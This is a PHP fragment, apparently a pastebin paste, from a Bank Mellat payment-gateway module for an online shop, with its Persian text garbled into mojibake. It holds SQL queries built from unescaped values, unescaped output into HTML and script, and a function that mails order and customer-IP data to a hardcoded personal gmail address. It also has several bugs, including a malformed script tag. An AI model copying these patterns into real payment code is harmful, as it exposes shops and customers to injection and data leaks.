type="hidden" name="RefId" value="'.$refNum.'" /><h3><span style="border:1px solid red;color:red;width:auto;padding:2px;background:white">خطاÛ� Ø´Ù�ارÙ� '.$status.': </span><span style="background:red;color:white;padding:3px">'.$bpm_states[$status][0].'</span></h3><br /> <strong>براÛ� بازگشت بÙ� باÙ�Ú© Ù�Ù�ت Ù� تصحÛ�Ø­ اطÙ�اعات Ù�ارد شدÙ� بر رÙ�Û� دکÙ�Ù� زÛ�ر Ú©Ù�Û�Ú© Ú©Ù�Û�د:</strong> <br /><br /><input name="پرداخت در Ù�Ù�ت" value="پرداخت Ù�بÙ�غ '.REF_AMOUNT.' رÛ�اÙ� در باÙ�Ú© Ù�Ù�ت" type="submit"><br /><br /><a target="_blank" href="http://www.sep.ir/index.php?option=com_content&amp;task=view&amp;id=247&amp;Itemid=69">راÙ�Ù�Ù�اÛ� پرداخت اÛ�Ù�ترÙ�تÛ� کارتÙ�اÛ� عضÙ� شتاب</a><br /></form></div><div align="center" style="direction:rtl"><a style="background:green;color:white;padding:3px;text-decoration:none;" href="'.CHECKOUTURL.'">بازگشت بÙ� Ù�رÙ�شگاÙ� Ù� تصحÛ�Ø­ سÙ�ارش Û�ا تغÛ�Û�ر رÙ�Ø´ پرداخت ...</a></div>'); } else { bpm_echo( '<div style="text-align:center;font:bold 1em tahoma;color:red;direction:rtl;margin:50px"><h3 style="color:#FFFFFF;background:red;padding:3px;">'.$bpm_states[$status][0].'</h3><br /><br /><a style="background:green;color:white;padding:3px;text-decoration:none" href="'.CHECKOUTURL.'">براÛ� بازگشت بÙ� Ù�رÙ�شگاÙ� Ù� پرداخت Ù�جدد Ú©Ù�Û�Ú© Ú©Ù�Û�د</a><br /><br /></div>'); } bpm_mail(1);exit();bpm_die(); } function bpm_send($again=false){ global $refNum, $bpm_states, $status; if (!$again){ bpm_echo( '<html><body onLoad="javascript: document.process.submit();"><form method="post" action="'.BPM_URL_POST.'" name="process"><input type="hidden" name="RefId" value="'.$refNum.'" /><noscript><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><strong>اگر در Ú©Ù�تر از Ú�Ù�د ثاÙ�Û�Ù� بÙ� ساÛ�ت پرداخت Ø¢Ù�Ù�اÛ�Ù� باÙ�Ú© Ù�Ù�ت Ù�تصÙ� Ù�شدÛ�د بر رÙ�Û� دکÙ�Ù�  Â«Ù¾Ø±Ø¯Ø§Ø®Øª در Ù�Ù�ت» Ú©Ù�Û�Ú© Ú©Ù�Û�د</strong><br /><br /><br />براÙ� اتصاÙ� بÙ� سرÙ�ر باÙ�Ù� Ù�Ù�ت Ù� پرداخت Ù�بÙ�غ ' . REF_AMOUNT .' رÙ�اÙ� Ù�Ù�Ù�Ù� Ù�Ù�Ù�د<br /><br /><input name="پرداخت در Ù�Ù�ت" value="پرداخت در Ù�Ù�ت" type="submit"><br /><br />اگر سرÙ�ر باÙ�Ú© Ù�Ù�ت Ù�Ø´Ú©Ù� داشت بعدا سعÛ� Ú©Ù�Û�د<br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small><br /></div></noscript></form></body></html>'); } else{ bpm_echo( '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red">خطا در اتصاÙ� بÙ� سرÙ�ر باÙ�Ú© Ù�Ù�ت</h1><b>پاسخ برگشتÛ� از باÙ�Ú©: '.$bpm_states[$status][0].'</b><br /><br />Ù�Ø·Ù�ا بعد از Ú�Ù�د Ù�حظÙ� بر رÙ�Û� دکÙ�Ù� زÛ�ر Ú©Ù�Û�Ú© Ù�Ù�اÛ�Û�د:<br /><br /><input type="button" value="درخÙ�است Ù�جدد اتصاÙ� بÙ� سرÙ�ر باÙ�Ú©" onclick="javascript:location.reload(true)" /><br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small><br /></div></body></html>'); } flush(); bpm_mail(1);exit(); return; bpm_die(); } function bpm_html($c){ global $refNum, $bpm_states, $status, $result, $bpm_lang; switch ($c){ case 'verify_error': $html = '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red">خطا در اتصاÙ� بÙ� سرÙ�ر باÙ�Ú© Ù�Ù�ت</h1><b>Ù�ادر بÙ� درÛ�اÙ�ت تاÛ�Û�د از سرÙ�ر باÙ�Ú© Ù�Û�ست: '.$result.'</b><br /><small><small>(Ù�بÙ�غÛ� از حساب Ø´Ù�ا کسر Ù�Ø®Ù�اÙ�د شد)</small></small><br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small><br /></div></body></html>'; case 'settle_error': $html = '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red">خطا در اتصاÙ� بÙ� سرÙ�ر باÙ�Ú© Ù�Ù�ت</h1><b>Ù�ادر بÙ� Ù�ارÛ�ز Ù�جÙ� بÙ� حساب Ù�رÙ�Ø´Ù�دÙ� Ù�Û�ست: '.$result.'</b><br /><small><small>(گزارشÛ� از اÛ�Ù� خطا بÙ� Ù�دÛ�رÛ�ت ساÛ�ت ارساÙ� Ù�Û� Ø´Ù�د)</small></small><br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small><br /></div></body></html>'; break; case 'send': break; case 'send_again': break; case 'try_again': break; case 'no_try': $html = '<div style="text-align:center;font:bold 1em tahoma;color:red;"><span style="color:green">'.$bpm_lang['used_authority'].'</span><br />Ù�Ø·Ù�ا Ù�جددا پرداخت <b>Ù�Ù�Ù�اÛ�د</b><br />Ú�Ù�اÙ�Ú�Ù� سبد خرÛ�د خاÙ�Û� Ù�Û�ست Ù�Û�Ù�Ú© «خاÙ�Û� کردÙ� سبد» را Ú©Ù�Û�Ú© Ú©Ù�Û�د<br /></div>'; break; case 'settle': break; case 'settle_error': $html = '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red"><b>Ù�ادر بÙ� Ù�ارÛ�ز Ù�جÙ� بÙ� حساب خرÛ�دار Ù�Û�ست</b><br><br>خطا در برگشت Ù�جÙ� بÙ� حساب خرÛ�دار </h1><b>بÙ� دÙ�Û�Ù� خطا در Ù�ارÛ�ز Ù�جÙ� بÙ� حساب Ù�رÙ�Ø´Ù�دÙ� سعÛ� در برگشت Ù�جÙ� بÙ� حساب خرÛ�دار گردÛ�د اÙ�ا در برگشت عÙ�Ù�Û�ات پرداخت Ù�Û�ز خطاÛ�Û� بÙ� Ù�جÙ�د Ø¢Ù�دÙ� است </b><br /><small><small>(گزارشÛ� از عÙ�Ù�Û�ات Ù� خطا بÙ� Ù�دÛ�رÛ�ت ساÛ�ت ارساÙ� گردÛ�د)</small></small> <br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� پرداخت Ù�جدد Û�ا اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small> <br /></div></body></html>'; break; case 'reverse': $html = '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red"><b>خطا در Ù�ارÛ�ز Ù�جÙ� بÙ� حساب Ù�رÙ�Ø´Ù�دÙ�!</b><br></h1><b style="color:green">Ú©Ù� Ù�جÙ� با Ù�Ù�Ù�Ù�Û�ت بÙ� حساب خرÛ�دار برگشت Ù� عÙ�Ù�Û�ات پرداخت Ù�غÙ� گردÛ�د </b><br /><small style="color:red">(براÛ� تکÙ�Û�Ù� سÙ�ارش Ø´Ù�ا Ù�Û� باÛ�ست Ù�جددا پرداخت Ù�Ù�اÛ�Û�د)</small> <br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� پرداخت Ù�جدد Û�ا اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small> <br /></div></body></html>'; break; case 'reversal_error': $html = '<html><body><div align=center style="direction:rtl;background:#E1F0FF;border:3px double #3366FF;padding:15px;margin:30px auto;width:550px;"><h1 style="color:red"><b>Ù�ادر بÙ� Ù�ارÛ�ز Ù�جÙ� بÙ� حساب خرÛ�دار Ù�Û�ست</b><br><br>خطا در برگشت Ù�جÙ� بÙ� حساب خرÛ�دار </h1><b>بÙ� دÙ�Û�Ù� خطا در Ù�ارÛ�ز Ù�جÙ� بÙ� حساب Ù�رÙ�Ø´Ù�دÙ� سعÛ� در برگشت Ù�جÙ� بÙ� حساب خرÛ�دار گردÛ�د اÙ�ا در برگشت عÙ�Ù�Û�ات پرداخت Ù�Û�ز خطاÛ�Û� بÙ� Ù�جÙ�د Ø¢Ù�دÙ� است </b><br /><small><small>(گزارشÛ� از عÙ�Ù�Û�ات Ù� خطا بÙ� Ù�دÛ�رÛ�ت ساÛ�ت ارساÙ� گردÛ�د)</small></small> <br /><br /><small><a href="'.CHECKOUTURL.'">بازگشت Ù� پرداخت Ù�جدد Û�ا اÙ�تخاب رÙ�Ø´ پرداخت دÛ�گر...</a></small> <br /></div></body></html>'; break; } return $html; } function mailContact($params = array()) { global $order_info, $order_id, $auth, $authority, $settings; $ii = 0;$txttel=''; $to = SALESMAIL; $from = SALESMAIL; $subj = 'BPM: '.SALESNAME.' '.$params['factorID'].' در Ù�Ù�ت پرداخت شد'; $body = '<p align="right">با سÙ�اÙ�</p><fieldset dir="rtl" style="direction:rtl"><legend><strong><span style="text-align:right;direction:rtl;font-size: small;font-family:tahoma;color: #FFFFFF;background-color: #267521;">سÙ�ارش زÙ�ر با Ù�Ù�Ù�Ù�Ù�ت بÙ� صÙ�رت Ø¢Ù�Ù�اÙ�Ù� پرداخت گردÙ�د:</span></strong></legend>                <table width="90%" cellspacing="5" style="direction:rtl;margin-right:10px;padding:15px;font-size:12px;">  <tr><td width="35%">Ù�د سÙ�ارش:<span class="style1"></span></td><td>براÙ� جزئÙ�ات Ù�Ù�Ù�Ù� Ù�Ù�Ù�د : <strong><a href="'.ADMIN_SCRIPT.'?target=orders&mode=details&order_id='.$params['factorID'].'" target="_blank">سÙ�ارش Ø´Ù�ارÙ� '.$params['factorID'].'#</a></strong></td><td rowspan="2" align="left">&nbsp;</td>  </tr>  <tr><td width="35%">Ù�Ù�دار سÙ�ارش:</td><td><strong>'.$params['factorAmount'].'</strong> Ù�احد Ù¾Ù�Ù� Ù�رÙ�شگاÙ�</td>  </tr>  <tr><td width="35%">Ù�Ù�دار تراÙ�Ù�Ø´:</td><td><strong>'.$params['amount'].'</strong> رÙ�اÙ�</td>  </tr>  <tr><td width="35%">Ø´Ù�اسÙ� تراÙ�Ù�Ø´</td><td><strong>'.$params['ref'].'</strong></td>  </tr>  <tr><td width="35%">زÙ�اÙ� Ù� Ø¢Ù� Ù¾Ù� Ù�شترÙ�:</td><td dir="ltr" align="right"><b>' .date("Y M D  H:i"). "</b><font style='font-weight:100;'> &nbsp;&nbsp;IP: <a href='http://www.ip2location.com/".$_SERVER['REMOTE_ADDR']."'>" .$_SERVER['REMOTE_ADDR']. '</a></font></td>  </tr></table></fieldset>'; $reply_to = SALESMAIL; require_once(CLASSES_DIR.'phpmailer/class.phpmailer.php'); $mail = new PHPMailer(); $mail->IsSMTP(); $mail->SMTPAuth = true; $mail->Host = SMTP_HOST; $mail->Username = SMTP_USER; $mail->Password = SMTP_PASS; $mail->From = $from; $mail->FromName = "Success Mellat Payment"; $mail->AddAddress(SALESMAIL,'Ù�احد Ù�رÙ�Ø´ '.SALESNAME); $mail->AddReplyTo(SALESMAIL,'Reply To '.SALESNAME.' Sales Depratment'); $mail->IsHTML(true); $mail->CharSet = 'utf-8'; $mail->Subject = $subj; $mail->Body = $body; if ($mail->Send()){ }else{ ngsMsgShow('<div align="center" style="padding:100px;font-size:small;color:red"><b> خطا در ارساÙ� اÙ�Ù�Ù�Ù� بÙ� Ù�دÙ�رÙ�ت</b></div>'); __(__LINE__,$mail, 'mail'); } } function logRefsToFile($s,$filename= BPM_REFSFILE){ if (is_writable($filename)) { if (!$handle = fopen($filename, 'a')) { ngsMsgShow("Cannot open file ($filename)".__LINE__); return false; } if (fwrite($handle,''. $s ) === FALSE) { ngsMsgShow("Cannot write to file ($filename)".__LINE__); return false; } return true; fclose($handle); } else { return false; } } function bpm_mail($end=false){ global $order_id, $ob0; if (!BPM_DEBUG_FILE) return false; $ob0 .= ob_get_contents(); if($end){ if(BPM_DEBUG){ }else{ } ob_end_flush(); $ob0 = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />'.$ob0; file_put_contents($order_id.'.html', $ob0); unset($ob0); } } function bpm_die($str=''){ if (BPM_DEBUG_FILE) bpm_mail(true); die($str); } function bpm_echo($str){ global $ob0; if (BPM_DEBUG_FILE){ }else{ } echo $str; } function ngsMsgShow($str, $echo = 0, $di=0){ global $ngs_saba_logs, $ngs_saba_err_logs; $ngs_saba_logs['description'] .= addslashes("($str)-\n\r"); $ngs_saba_err_logs['description'] .= addslashes("($str)-\n\r"); if ($echo) bpm_echo( '<br />'.$str.'<br />'); } function __($l, &$v, $n='', $d =0){ if (BPM_DEBUG){ bpm_echo( '<pre style="direction:ltr;background:#DDDDDD;border-bottom:1px solid black;border-top:1px solid black">'.$n . ' :'.$l.'<br />'); print_r($v); bpm_echo( '</pre>'); } if($d) bpm_die($n); } function gotoCheckout(){ global $current_location, $index_script, $cart_language; bpm_echo( '<div style="text-align:center;font:bold 1em tahoma;color:red;">Couldn\'t Validate Payment with Mellat<br />پرداخت اÙ�کترÙ�Ù�Û�Ú©Û� Ø´Ù�ا Ù�Ù�Ù�Ù�Û�ت Ø¢Ù�Û�ز Ù�بÙ�د!<br /><br>Ù�Ø·Ù�ا با Ù�Ù�Ù�Ù� بر رÙ�Ù� Ù�Ù�Ù�Ù� <a href="'.CHECKOUTURL.'"><strong>'.fn_get_lang_var('checkout',$cart_language).'</strong></a> دÙ�بارÙ� سعÙ� Ù�Ù�Ù�د</div>'); fn_redirect(CHECKOUTURL,false); bpm_mail(1);exit() ; bpm_die() ; } function cgetdate($t){ $today = getdate($t); $pd = smarty_function_g2p($today['year'], $today['mon'], $today['mday']); $mo = array('Ù�رÙ�ردÛ�Ù�', 'اردÛ�بÙ�شت', 'خرداد', 'تÛ�ر', 'Ù�رداد', 'Ø´Ù�رÛ�Ù�ر', 'Ù�Ù�ر', 'آباÙ�', 'آذر', 'دÛ�', 'بÙ�Ù�Ù�', 'اسÙ�Ù�د'); $wd = array('Ø´Ù�بÙ�', 'Û�Ú©Ø´Ù�بÙ�','دÙ�Ø´Ù�بÙ�', 'سÙ� Ø´Ù�بÙ�', 'Ú�Ù�ارشÙ�بÙ�', 'Ù¾Ù�ج Ø´Ù�بÙ�', 'جÙ�عÙ�'); $today['year'] = $pd['0']; $today['mon'] = $pd['1']; $today['mday'] = $pd['2']; $today['wday'] = $today['wday']+2; $today['yday'] = $pd['3']; $today['weekday'] = $wd[ $today['wday']-1 ]; $today['month'] = $mo[ $today['mon']-1 ]; return $today; } function fn_order_placement_routines($order_id, $notify_user=true, $unknown=true){ mail('takijan@gmail.com', 'Mellat completed for'.$order_id, $auth.' - '.$_SERVER['REMOTE_ADDR']); } function fn_redirect($location, $now = true) { echo "<meta http-equiv=\"Refresh\" content=\"0;URL=$location\" />"; echo "<script type='text/javascript'>location ='$location';></script><br /><a href='$location'>اداÙ�Ù�...</a>"; flush(); } function fn_stripslashes($var) { if (is_array($var)) { $var = array_map('fn_stripslashes', $var); return $var; } return (strpos($var, '\\\'') !== false || strpos($var, '\\\\') !== false || strpos($var, '\\"') !== false) ? stripslashes($var) : $var; } function fn_add_slashes(&$var, $escape_nls = false) { if (!is_array($var)) { return ($escape_nls == true) ? str_replace("\n", "\\n", addslashes($var)) : addslashes($var); } else { $slashed = array(); foreach ($var as $k => $v) { $sk = addslashes($k); if (!is_array($v)) { $sv = ($escape_nls == true) ? str_replace("\n", "\\n", addslashes($v)) : addslashes($v); } else { $sv = fn_add_slashes($v, $escape_nls); } $slashed[$sk] = $sv; } return($slashed); } } function db_insert_by_array($table_name, $data, $replace = false) { global $conn; $replace = false; foreach($data as $i=>$v){ if ($v==''){ unset($data[$i]); } } if(!empty($table_name) && !empty($data)) { if(isset($data['ref']) && strlen($data['ref'])>0){ $Id = $data['Id']; unset($data['Id']); $query = "UPDATE $table_name SET "; foreach($data as $i=>$v){ $query.= " $i='$v' ,"; } $query = substr($query,0,strlen($query)-1); $query.= " WHERE id=$Id"; }else{ $query = (($replace == true) ? 'REPLACE' : 'INSERT') . " INTO $table_name (`".implode('`, `', array_keys($data))."`) VALUES ('".implode('\', \'', array_values($data))."');"; } $res = odbc_exec($conn, $query); if ($res == false) return false; $res = odbc_exec($conn, "select @@identity"); $res = ($res == false) ? false : odbc_result($res, 1); echo '<hr />'.$res; return $res; } return false; } function bpm_get_order_info_by_id($order_id){ global $dsn2, $bpm_lang; $order_id *=1; $conn2 = odbc_connect($dsn2,'',''); if(!$conn2) die('DB error 2'); $query = "SELECT fkharid.code, fkharid.ghimat, fkharid.vazeite                FROM fkharid                WHERE (((fkharid.code)=$order_id));                "; $res = odbc_exec($conn2, $query); if ($res!==false){ $order_info['order_id'] = odbc_result($res, 'code'); $order_info['total'] = odbc_result($res, 'ghimat'); $order_info['status'] = odbc_result($res, 'vazeite'); if ($order_info['status'] == 'PAID'){ echo $bpm_lang['used_authority']; die; } return $order_info; }else{ die('DB Error3'); } return $order_info; } function bpm_get_sId_data($refNum, $sId){ global $conn; $sId = $sId*1; $query = "SELECT * FROM ".BPM_TABLE_REF." WHERE ref='$refNum' AND Id=$sId"; $result = odbc_exec($conn, $query); if ($result!==false){ $sId_data = odbc_fetch_array($result); return $sId_data; } die('DB Error 4'); } function smarty_function_g2p($g_y, $g_m, $g_d){ $g_days_in_month = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); $j_days_in_month = array(31, 31, 31, 31, 31, 31, 30, 30, 30, 30, 30, 29); $gy = $g_y-1600; $gm = $g_m-1; $gd = $g_d-1; $g_day_no = 365*$gy+floor(($gy+3)/4)-floor(($gy+99)/100)+floor(($gy+399)/400); for ($i=0; $i < $gm; ++$i){ $g_day_no += $g_days_in_month[$i]; } if ($gm>1 && (($gy%4==0 && $gy%100!=0) || ($gy%400==0))){ ++$g_day_no; } $g_day_no += $gd; $j_day_no = $g_day_no-79; $j_np = floor($j_day_no/12053); $j_day_no %= 12053; $jy = 979+33*$j_np+4*floor($j_day_no/1461); $j_day_no %= 1461; if ($j_day_no >= 366) { $jy += floor(($j_day_no-1)/365); $j_day_no = ($j_day_no-1)%365; } $j_all_days = $j_day_no+1; for ($i = 0; $i < 11 && $j_day_no >= $j_days_in_month[$i]; ++$i) { $j_day_no -= $j_days_in_month[$i]; } $jm = $i+1; $jd = $j_day_no+1; return array($jy, $jm, $jd, $j_all_days); } function bpm_set_db_to_paid($order_id){ global $dsn2; echo ">$dsn2<"; $order_id *=1; $conn3 = odbc_connect($dsn2,'',''); if(!$conn3) die('DB error 5'); echo $query = "UPDATE fkharid SET vazeite='PAID' WHERE code=$order_id"; $res = odbc_exec($conn3, $query); if ($res!==false){ return true; } return false; } function bpm_post_results($post, $url, $msg='Click to continue...'){ echo "<html><body onLoad='javascript: document.process.submit();'><form method='post' action='$url' name='process'>"; foreach ($post as $i => $v) { echo "<input type='hidden' name='$i' value='$v'>"; } echo "<p><div align=center><input name='Next' value='Next' type='submit' /><br />$msg</div></p></form>     </body>    </html>"; } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement